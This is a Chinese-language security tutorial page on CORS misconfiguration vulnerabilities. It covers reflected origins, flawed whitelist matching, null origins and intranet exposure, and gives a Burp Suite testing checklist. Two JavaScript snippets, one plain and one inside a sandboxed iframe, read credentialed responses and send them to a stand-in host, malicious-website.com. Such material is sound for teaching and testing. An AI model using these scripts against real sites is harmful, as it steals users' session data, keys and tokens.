跳转至

跨域资源共享攻击(CORS)

跨源资源共享(CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中,浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。

跨源 HTTP 请求的一个例子:运行在 https://domain-a.com 的 JavaScript 代码使用 XMLHttpRequest 来发起一个到 https://domain-b.com/data.json 的请求。

出于安全性,浏览器限制脚本内发起的跨源 HTTP 请求。例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。

CORS 机制的图表表示

CORS 机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch)使用 CORS,以降低跨源 HTTP 请求所带来的风险。

什么情况下需要 CORS?

这份跨源共享标准允许在下列场景中使用跨站点 HTTP 请求:

本文概述了跨源资源共享机制及其所涉及的 HTTP 标头。

功能概述

跨源资源共享标准新增了一组 HTTP 标头字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(例如 Cookie 和 HTTP 认证相关数据)。

CORS 请求失败会产生错误,但是为了安全,在 JavaScript 代码层面*无法*获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

由CORS配置问题引发的漏洞

许多现代网站使用 CORS 来允许子域名和受信任的第三方访问。他们的 CORS 实现可能存在错误,或过于宽松以确保一切正常,这可能导致可被利用的漏洞。

可由客户端指定允许跨域的域名

有些应用程序需要提供对多个其他域的访问。维护允许域名列表需要持续努力,任何错误都可能导致功能崩溃。所以有些应用选择了简单的方式,实际上允许任何其他域访问。

一种方法是读取请求中的 Origin 头,并包含一个响应头,说明请求的起点被允许。例如,考虑一个应用程序收到以下请求:

Text Only
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

随后它回复:

Text Only
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

这些头声明请求域允许访问( malicious-website.com ),且跨源请求可以包含 cookie( Access-Control-Allow-Credentials: true ),因此会在会话中处理。

由于应用程序在 Access-Control-Allow-Origin 头部中反映任意来源,这意味着任何域都可以访问该易受攻击域的资源。如果响应包含任何敏感信息,如 API 密钥或 CSRF 令牌,您可以通过在网站上放置以下脚本来获取:

JavaScript
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//malicious-website.com/log?key='+this.responseText;
};

Origin解析错误

一些支持多源访问的应用程序通过使用允许源区的白名单来实现。当收到 CORS 请求时,会将提供的来源与白名单进行比较。如果来源出现在白名单上,则会反映在 Access-Control-Allow-Origin 头部,从而授予访问权限。例如,应用程序收到一个正常请求,如下:

Text Only
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

服务端会将请求中的Origin头与自身白名单中的Origin头进行比较,如果满足白名单,则会返回如下:

Text Only
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

在实现 CORS 起源白名单时,错误常常发生。一些组织决定允许其所有子域名访问(包括尚未存在的未来子域名)。而且一些应用程序允许从其他组织的域名及其子域名访问。这些规则通常通过匹配 URL 前缀或后缀,或使用正则表达式实现。实现过程中的任何错误都可能导致访问被授予非预期的外部域。

例如,假设一个应用程序授予所有以以下结尾的域的访问权限:

Text Only
normal-website.com

攻击者可能通过注册域名获得访问权限:

Text Only
hackersnormal-website.com

或者,假设一个应用程序授予所有以 开头的域的访问权限。

Text Only
normal-website.com

攻击者可能通过以下域名获得访问权限:

Text Only
normal-website.com.evil-user.net

null Origin

Origin 头部的规范支持值 null 。浏览器在各种特殊情况下可能会在 Origin 头部发送 null 值:

  • Cross-origin redirects.
  • Requests from serialized data.
  • Request using the file: protocol.
  • Sandboxed cross-origin requests.

有些应用程序可能会将 null 来源列入白名单,以支持应用程序的本地开发。例如,假设一个应用收到以下跨起源请求:

Text Only
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

服务器回复:

Text Only
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在这种情况下,攻击者可以使用各种手段生成包含 Origin 头部值 null 的跨起源请求。这将满足白名单要求,从而实现跨域访问。例如,这可以通过一个沙箱化的 iframe 交叉起源请求实现,形式为:

JavaScript
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

内网中的CORS *配置

大多数 CORS 攻击依赖响应头的存在:

Text Only
Access-Control-Allow-Credentials: true

如果没有该头,受害者用户的浏览器将拒绝发送他们的 Cookie,这意味着攻击者只能访问未经认证的内容,而这些内容同样可以通过直接浏览目标网站访问。

然而,有一种常见情况是攻击者无法直接访问网站:当网站属于组织内联网,且位于私有 IP 空间内时。内部网站通常受限于低于外部网站的安全标准,使攻击者能够发现漏洞并获得进一步访问权限。例如,私有网络中的跨源请求可能如下:

Text Only
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

服务器回复:

Text Only
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

应用服务器信任来自任何来源的资源请求,无需凭证。如果私有 IP 空间内的用户访问公共互联网,则可以从使用受害者浏览器作为代理访问内联网资源的外部站点发动基于 CORS 的攻击。

测试方法

首先使用burpsuite抓包对http请求添加**Origin: http://www.attacker.com**进行测试:

  • 如果返回头是以下情况,那么就是高危漏洞,这种情况下漏洞最好利用:

Access-Control-Allow-Origin: https://www.attacker.com

Access-Control-Allow-Credentials: true

  • 如果返回头是以下情况,那么也可以认为是高危漏洞,只是利用起来麻烦一些:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

  • 如果返回以下,则不存在漏洞,因为Null必须是小写才存在漏洞:

Access-Control-Allow-Origin: Null

Access-Control-Allow-Credentials: true

  • 如果返回以下,可认为不存在漏洞,因为CORS安全机制阻止了这种情况下的漏洞利用,也可以写上低危的CORS配置错误问题。

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

  • 如果返回以下,可认为不存在漏洞,也可以写上低危的CORS配置错误问题。

Access-Control-Allow-Origin: *

跨源资源共享(CORS)

CORS跨域资源共享漏洞的复现、分析、利用及修复过程

CORS跨域漏洞